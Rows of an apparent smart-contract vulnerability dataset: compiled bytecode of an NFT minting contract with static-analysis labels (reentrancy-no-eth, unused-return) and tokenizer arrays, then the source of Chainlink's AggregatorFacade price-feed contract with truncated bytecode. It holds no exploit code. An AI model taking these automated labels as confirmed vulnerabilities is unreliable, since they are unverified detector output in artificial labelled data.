2c34565b60405180910390f35b3480156103ee57600080fd5b506103f7610dd2565b6040516104049190612c4f565b60405180910390f35b34801561041957600080fd5b50610422610ddd565b60405161042f9190612b57565b60405180910390f35b34801561044457600080fd5b5061044d610e6f565b60405161045a9190612b57565b60405180910390f35b34801561046f57600080fd5b5061048a60048036038101906104859190612730565b610efd565b005b34801561049857600080fd5b506104a1611075565b6040516104ae9190612c34565b60405180910390f35b3480156104c357600080fd5b506104de60048036038101906104d991906126ad565b611088565b005b3480156104ec57600080fd5b506104f5611104565b6040516105029190612b57565b60405180910390f35b34801561051757600080fd5b50610532600480360381019061052d9190612853565b611192565b60405161053f9190612b57565b60405180910390f35b34801561055457600080fd5b5061055d61135c565b60405161056a9190612ad5565b60405180910390f35b34801561057f57600080fd5b50610588611382565b6040516105959190612c6a565b60405180910390f35b3480156105aa57600080fd5b506105c560048036038101906105c0919061261a565b611387565b6040516105d29190612b3c565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806106a657507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806106b657506106b58261141b565b5b9050919050565b6060600180546106cc90612f43565b80601f01602080910402602001604051908101604052809291908181526020018280546106f890612f43565b80156107455780601f1061071a57610100808354040283529160200191610745565b820191906000526020600020905b81548152906001019060200180831161072857829003601f168201915b5050505050905090565b600061075a82611485565b610790576040517fcf4700e400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6009600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006107d682610b8f565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561083e576040517f943f7b8c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1661085d6114d3565b73ffffffffffffffffffffffffffffffffffffffff161415801561088f575061088d816108886114d3565b611387565b155b156108c6576040517fcfb3b94200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6108d18383836114db565b505050565b611af481565b6108e783838361158d565b505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461097c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097390612bb9565b60405180910390fd5b6001600460006101000a81548160ff021916908315150217905550565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2290612bb9565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610aaa573d6000803e3d6000fd5b506001905090565b610acd83838360405180602001604052806000815250611088565b505050565b600460009054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c90612bb9565b60405180910390fd5b8060039080519060200190610b8b9291906123a9565b5050565b6000610b9a82611a43565b600001519050919050565b60058160ff161115610bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be390612b99565b60405180910390fd5b60008160ff1611610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2990612bf9565b60405180910390fd5b8060ff166618838370f34000610c489190612dd6565b67ffffffffffffffff16341015610c94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8b90612b79565b60405180910390fd5b8060ff16610ca0611075565b611af461ffff16610cb19190612e18565b1015610cf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce990612bd9565b60405180910390fd5b610cff338260ff16611cd2565b50565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d6a576040517f8f4eb60400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900467ffffffffffffffff1667ffffffffffffffff169050919050565b6618838370f3400081565b606060028054610dec90612f43565b80601f0160208091040260200160405190810160405280929190818152602001828054610e1890612f43565b8015610e655780601f10610e3a57610100808354040283529160200191610e65565b820191906000526020600020905b815481529060010190602001808311610e4857829003601f168201915b5050505050905090565b60038054610e7c90612f43565b80601f0160208091040260200160405190810160405280929190818152602001828054610ea890612f43565b8015610ef55780601f10610eca57610100808354040283529160200191610ef5565b820191906000526020600020905b815481529060010190602001808311610ed857829003601f168201915b505050505081565b610f056114d3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f6a576040517fb06307db00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80600a6000610f776114d3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166110246114d3565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516110699190612b3c565b60405180910390a35050565b600061107f611cf0565b60005403905090565b61109384848461158d565b6110b28373ffffffffffffffffffffffffffffffffffffffff16611cf5565b80156110c757506110c584848484611d18565b155b156110fe576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b50505050565b6005805461111190612f43565b80601f016020809104026020016040519081016040528092919081815260200182805461113d90612f43565b801561118a5780601f1061115f5761010080835404028352916020019161118a565b820191906000526020600020905b81548152906001019060200180831161116d57829003601f168201915b505050505081565b6060600460009054906101000a900460ff16156112c9576111b282611485565b6111e8576040517fa14c4b5000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000600380546111f790612f43565b80601f016020809104026020016040519081016040528092919081815260200182805461122390612f43565b80156112705780601f1061124557610100808354040283529160200191611270565b820191906000526020600020905b81548152906001019060200180831161125357829003601f168201915b5050505050905060008151141561129657604051806020016040528060008152506112c1565b806112a084611e78565b6040516020016112b1929190612a8b565b6040516020818303038152906040525b915050611357565b600580546112d690612f43565b80601f016020809104026020016040519081016040528092919081815260200182805461130290612f43565b801561134f5780601f106113245761010080835404028352916020019161134f565b820191906000526020600020905b81548152906001019060200180831161133257829003601f168201915b505050505090505b919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600581565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600081611490611cf0565b1115801561149f575060005482105b80156114cc575060076000838152602001908152602001600020600001601c9054906101000a900460ff16155b9050919050565b600033905090565b826009600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b600061159882611a43565b90508373ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614611603576040517fa114810000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60008473ffffffffffffffffffffffffffffffffffffffff166116246114d3565b73ffffffffffffffffffffffffffffffffffffffff16148061165357506116528561164d6114d3565b611387565b5b8061169857506116616114d3565b73ffffffffffffffffffffffffffffffffffffffff166116808461074f565b73ffffffffffffffffffffffffffffffffffffffff16145b9050806116d1576040517f59c896be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611738576040517fea553b3400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6117458585856001611fd9565b611751600084876114db565b6001600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160392506101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506001600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600760008581526020019081526020016000209050848160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550428160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060006001850190506000600760008381526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156119d15760005482146119d057878160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084602001518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b505050828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4611a3c8585856001611fdf565b5050505050565b611a4b61242f565b600082905080611a59611cf0565b11158015611a68575060005481105b15611c9b576000600760008381526020019081526020016000206040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601c9054906101000a900460ff16151515158152505090508060400151611c9957600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614611b7d578092505050611ccd565b5b600115611c9857818060019003925050600760008381526020019081526020016000206040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601c9054906101000a900460ff1615151515815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614611c93578092505050611ccd565b611b7e565b5b505b6040517fdf2d9b4200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b919050565b611cec828260405180602001604052806000815250611fe5565b5050565b600090565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b60008373ffffffffffffffffffffffffffffffffffffffff1663150b7a02611d3e6114d3565b8786866040518563ffffffff1660e01b8152600401611d609493929190612af0565b602060405180830381600087803b158015611d7a57600080fd5b505af1925050508015611dab57506040513d601f19601f82011682018060405250810190611da891906127dd565b60015b611e25573d8060008114611ddb576040519150601f19603f3d011682016040523d82523d6000602084013e611de0565b606091505b50600081511415611e1d576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050949350505050565b60606000821415611ec0576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050611fd4565b600082905060005b60008214611ef2578080611edb90612fa6565b915050600a82611eeb9190612da5565b9150611ec8565b60008167ffffffffffffffff811115611f0e57611f0d6130dc565b5b6040519080825280601f01601f191660200182016040528015611f405781602001600182028036833780820191505090505b5090505b60008514611fcd57600182611f599190612e18565b9150600a85611f689190612fef565b6030611f749190612d4f565b60f81b818381518110611f8a57611f896130ad565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85611fc69190612da5565b9450611f44565b8093505050505b919050565b50505050565b50505050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612052576040517f2e07630000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600083141561208d576040517fb562e8dd00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61209a6000858386611fd9565b82600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555082600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160088282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550836007600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426007600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060008190506000848201905061225b8673ffffffffffffffffffffffffffffffffffffffff16611cf5565b15612321575b818673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46122d06000878480600101955087611d18565b612306576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8082141561226157826000541461231c57600080fd5b61238d565b5b818060010192508673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a480821415612322575b8160008190555050506123a36000858386611fdf565b50505050565b8280546123b590612f43565b90600052602060002090601f0160209004810192826123d7576000855561241e565b82601f106123f057805160ff191683800117855561241e565b8280016001018555821561241e579182015b8281111561241d578251825591602001919060010190612402565b5b50905061242b9190612472565b5090565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681526020016000151581525090565b5b8082111561248b576000816000905550600101612473565b5090565b60006124a261249d84612caa565b612c85565b9050828152602081018484840111156124be576124bd613110565b5b6124c9848285612f01565b509392505050565b60006124e46124df84612cdb565b612c85565b905082815260208101848484011115612500576124ff613110565b5b61250b848285612f01565b509392505050565b600081359050612522816132e4565b92915050565b600081359050612537816132fb565b92915050565b60008135905061254c81613312565b92915050565b60008151905061256181613312565b92915050565b600082601f83011261257c5761257b61310b565b5b813561258c84826020860161248f565b91505092915050565b600082601f8301126125aa576125a961310b565b5b81356125ba8482602086016124d1565b91505092915050565b6000813590506125d281613329565b92915050565b6000813590506125e781613340565b92915050565b6000602082840312156126035761260261311a565b5b600061261184828501612513565b91505092915050565b600080604083850312156126315761263061311a565b5b600061263f85828601612513565b925050602061265085828601612513565b9150509250929050565b6000806000606084860312156126735761267261311a565b5b600061268186828701612513565b935050602061269286828701612513565b92505060406126a3868287016125c3565b9150509250925092565b600080600080608085870312156126c7576126c661311a565b5b60006126d587828801612513565b94505060206126e687828801612513565b93505060406126f7878288016125c3565b925050606085013567ffffffffffffffff81111561271857612717613115565b5b61272487828801612567565b91505092959194509250565b600080604083850312156127475761274661311a565b5b600061275585828601612513565b925050602061276685828601612528565b9150509250929050565b600080604083850312156127875761278661311a565b5b600061279585828601612513565b92505060206127a6858286016125c3565b9150509250929050565b6000602082840312156127c6576127c561311a565b5b60006127d48482850161253d565b91505092915050565b6000602082840312156127f3576127f261311a565b5b600061280184828501612552565b91505092915050565b6000602082840312156128205761281f61311a565b5b600082013567ffffffffffffffff81111561283e5761283d613115565b5b61284a84828501612595565b91505092915050565b6000602082840312156128695761286861311a565b5b6000612877848285016125c3565b91505092915050565b6000602082840312156128965761289561311a565b5b60006128a4848285016125d8565b91505092915050565b6128b681612e5e565b82525050565b6128c581612e4c565b82525050565b6128d481612e70565b82525050565b60006128e582612d0c565b6128ef8185612d22565b93506128ff818560208601612f10565b6129088161311f565b840191505092915050565b600061291e82612d17565b6129288185612d33565b9350612938818560208601612f10565b6129418161311f565b840191505092915050565b600061295782612d17565b6129618185612d44565b9350612971818560208601612f10565b80840191505092915050565b600061298a603083612d33565b915061299582613130565b604082019050919050565b60006129ad603783612d33565b91506129b88261317f565b604082019050919050565b60006129d0602683612d33565b91506129db826131ce565b604082019050919050565b60006129f3602483612d33565b91506129fe8261321d565b604082019050919050565b6000612a16600583612d44565b9150612a218261326c565b600582019050919050565b6000612a39602c83612d33565b9150612a4482613295565b604082019050919050565b612a5881612ea8565b82525050565b612a6781612ed6565b82525050565b612a7681612ee0565b82525050565b612a8581612ef4565b82525050565b6000612a97828561294c565b9150612aa3828461294c565b9150612aae82612a09565b91508190509392505050565b6000602082019050612acf60008301846128bc565b92915050565b6000602082019050612aea60008301846128ad565b92915050565b6000608082019050612b0560008301876128bc565b612b1260208301866128bc565b612b1f6040830185612a5e565b8181036060830152612b3181846128da565b905095945050505050565b6000602082019050612b5160008301846128cb565b92915050565b60006020820190508181036000830152612b718184612913565b905092915050565b60006020820190508181036000830152612b928161297d565b9050919050565b60006020820190508181036000830152612bb2816129a0565b9050919050565b60006020820190508181036000830152612bd2816129c3565b9050919050565b60006020820190508181036000830152612bf2816129e6565b9050919050565b60006020820190508181036000830152612c1281612a2c565b9050919050565b6000602082019050612c2e6000830184612a4f565b92915050565b6000602082019050612c496000830184612a5e565b92915050565b6000602082019050612c646000830184612a6d565b92915050565b6000602082019050612c7f6000830184612a7c565b92915050565b6000612c8f612ca0565b9050612c9b8282612f75565b919050565b6000604051905090565b600067ffffffffffffffff821115612cc557612cc46130dc565b5b612cce8261311f565b9050602081019050919050565b600067ffffffffffffffff821115612cf657612cf56130dc565b5b612cff8261311f565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000612d5a82612ed6565b9150612d6583612ed6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d9a57612d99613020565b5b828201905092915050565b6000612db082612ed6565b9150612dbb83612ed6565b925082612dcb57612dca61304f565b5b828204905092915050565b6000612de182612ee0565b9150612dec83612ee0565b92508167ffffffffffffffff0483118215151615612e0d57612e0c613020565b5b828202905092915050565b6000612e2382612ed6565b9150612e2e83612ed6565b925082821015612e4157612e40613020565b5b828203905092915050565b6000612e5782612eb6565b9050919050565b6000612e6982612eb6565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015612f2e578082015181840152602081019050612f13565b83811115612f3d576000848401525b50505050565b60006002820490506001821680612f5b57607f821691505b60208210811415612f6f57612f6e61307e565b5b50919050565b612f7e8261311f565b810181811067ffffffffffffffff82111715612f9d57612f9c6130dc565b5b80604052505050565b6000612fb182612ed6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612fe457612fe3613020565b5b600182019050919050565b6000612ffa82612ed6565b915061300583612ed6565b9250826130155761301461304f565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f596f752073656e7420746f6f20666577204554482e2045616368204e4654206360008201527f6f73747320302e30303639204554482e00000000000000000000000000000000602082015250565b7f416d6f756e7420746f6f20686967682e20596f752063616e206f6e6c7920627560008201527f79203520696e206f6e65207472616e73616374696f6e2e000000000000000000602082015250565b7f596f7520617265206e6f7420746865206f776e6572206f66207468697320636f60008201527f6e74726163740000000000000000000000000000000000000000000000000000602082015250565b7f5468697320616d6f756e74206f66204e465473206973206e6f7420617661696c60008201527f61626c6500000000000000000000000000000000000000000000000000000000602082015250565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b7f416d6f756e7420746f6f206c6f772e20596f75206e65656420746f206d696e7460008201527f206174206c6561737420312e0000000000000000000000000000000000000000602082015250565b6132ed81612e4c565b81146132f857600080fd5b50565b61330481612e70565b811461330f57600080fd5b50565b61331b81612e7c565b811461332657600080fd5b50565b61333281612ed6565b811461333d57600080fd5b50565b61334981612ef4565b811461335457600080fd5b5056fea2646970667358221220bd71320e4c25f4270145eda8c533e0bad09894702c2107cf868f24834cc913b364736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
2629,
2546,
22275,
2581,
2620,
2278,
22610,
28311,
2278,
2581,
16147,
17914,
2487,
2278,
14526,
27814,
2278,
2692,
2581,
2487,
2050,
27814,
24087,
2683,
3676,
12376,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
7817,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
21183,
12146,
1013,
7817,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5164,
3136,
1012,
1008,
1013,
3075,
7817,
1063,
27507,
16048,
2797,
5377,
1035,
2002,
2595,
1035,
9255,
1027,
1000,
5890,
21926,
19961,
2575,
2581,
2620,
2683,
7875,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,434 | 0x952607A8b07aAcdd43757BFefC61afC2Eb19524b | pragma solidity 0.6.6;
interface AggregatorInterface {
function latestAnswer() external view returns (int256);
function latestTimestamp() external view returns (uint256);
function latestRound() external view returns (uint256);
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt);
event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt);
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface
{
}
/**
* @title A facade forAggregator versions to conform to the new v0.6
* Aggregator V3 interface.
*/
contract AggregatorFacade is AggregatorV2V3Interface {
AggregatorInterface public aggregator;
uint8 public override decimals;
string public override description;
uint256 constant public override version = 2;
// An error specific to the Aggregator V3 Interface, to prevent possible
// confusion around accidentally reading unset values as reported values.
string constant private V3_NO_DATA_ERROR = "No data present";
constructor(
address _aggregator,
uint8 _decimals,
string memory _description
) public {
aggregator = AggregatorInterface(_aggregator);
decimals = _decimals;
description = _description;
}
/**
* @notice get the latest completed round where the answer was updated
* @dev #[deprecated]. Use latestRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended latestRoundData
* instead which includes better verification information.
*/
function latestRound()
external
view
virtual
override
returns (uint256)
{
return aggregator.latestRound();
}
/**
* @notice Reads the current answer from aggregator delegated to.
*
* @dev #[deprecated] Use latestRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended latestRoundData
* instead which includes better verification information.
*/
function latestAnswer()
external
view
virtual
override
returns (int256)
{
return aggregator.latestAnswer();
}
/**
* @notice Reads the last updated height from aggregator delegated to.
*
* @dev #[deprecated] Use latestRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended latestRoundData
* instead which includes better verification information.
*/
function latestTimestamp()
external
view
virtual
override
returns (uint256)
{
return aggregator.latestTimestamp();
}
/**
* @notice get data about the latest round. Consumers are encouraged to check
* that they're receiving fresh data by inspecting the updatedAt value.
* @return roundId is the round ID for which data was retrieved
* @return answer is the answer for the given round
* @return startedAt is always equal to updatedAt because the underlying
* Aggregator contract does not expose this information.
* @return updatedAt is the timestamp when the round last was updated (i.e.
* answer was last computed)
* @return answeredInRound is always equal to roundId because the underlying
* Aggregator contract does not expose this information.
* @dev Note that for rounds that haven't yet received responses from all
* oracles, answer and updatedAt may change between queries.
*/
function latestRoundData()
external
view
virtual
override
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
return _getRoundData(uint80(aggregator.latestRound()));
}
/**
* @notice get past rounds answers
* @param _roundId the answer number to retrieve the answer for
*
* @dev #[deprecated] Use getRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended getRoundData
* instead which includes better verification information.
*/
function getAnswer(uint256 _roundId)
external
view
virtual
override
returns (int256)
{
return aggregator.getAnswer(_roundId);
}
/**
* @notice get block timestamp when an answer was last updated
* @param _roundId the answer number to retrieve the updated timestamp for
*
* @dev #[deprecated] Use getRoundData instead. This does not error if no
* answer has been reached, it will simply return 0. Either wait to point to
* an already answered Aggregator or use the recommended getRoundData
* instead which includes better verification information.
*/
function getTimestamp(uint256 _roundId)
external
view
virtual
override
returns (uint256)
{
return aggregator.getTimestamp(_roundId);
}
/**
* @notice get data about a round. Consumers are encouraged to check
* that they're receiving fresh data by inspecting the updatedAt value.
* @param _roundId the round ID to retrieve the round data for
* @return roundId is the round ID for which data was retrieved
* @return answer is the answer for the given round
* @return startedAt is always equal to updatedAt because the underlying
* Aggregator contract does not expose this information.
* @return updatedAt is the timestamp when the round last was updated (i.e.
* answer was last computed)
* @return answeredInRound is always equal to roundId because the underlying
* Aggregator contract does not expose this information.
* @dev Note that for rounds that haven't yet received responses from all
* oracles, answer and updatedAt may change between queries.
*/
function getRoundData(uint80 _roundId)
external
view
virtual
override
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
return _getRoundData(_roundId);
}
/*
* Internal
*/
function _getRoundData(uint80 _roundId)
internal
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
answer = aggregator.getAnswer(_roundId);
updatedAt = uint64(aggregator.getTimestamp(_roundId));
require(updatedAt > 0, V3_NO_DATA_ERROR);
return (_roundId, answer, updatedAt, updatedAt, _roundId);
}
} | 0x608060405234801561001057600080fd5b50600436106100c95760003560e01c80637284e41611610081578063b5ab58dc1161005b578063b5ab58dc14610234578063b633620c14610251578063feaf968c1461026e576100c9565b80637284e416146101475780638205bf6a146101c45780639a6fc8f5146101cc576100c9565b806350d25bcd116100b257806350d25bcd1461011d57806354fd4d5014610137578063668a0f021461013f576100c9565b8063245a7bfc146100ce578063313ce567146100ff575b600080fd5b6100d6610276565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b610107610292565b6040805160ff9092168252519081900360200190f35b6101256102b3565b60408051918252519081900360200190f35b61012561034d565b610125610352565b61014f6103bb565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610189578181015183820152602001610171565b50505050905090810190601f1680156101b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610125610466565b6101f5600480360360208110156101e257600080fd5b503569ffffffffffffffffffff166104cf565b6040805169ffffffffffffffffffff96871681526020810195909552848101939093526060840191909152909216608082015290519081900360a00190f35b6101256004803603602081101561024a57600080fd5b50356104f2565b6101256004803603602081101561026757600080f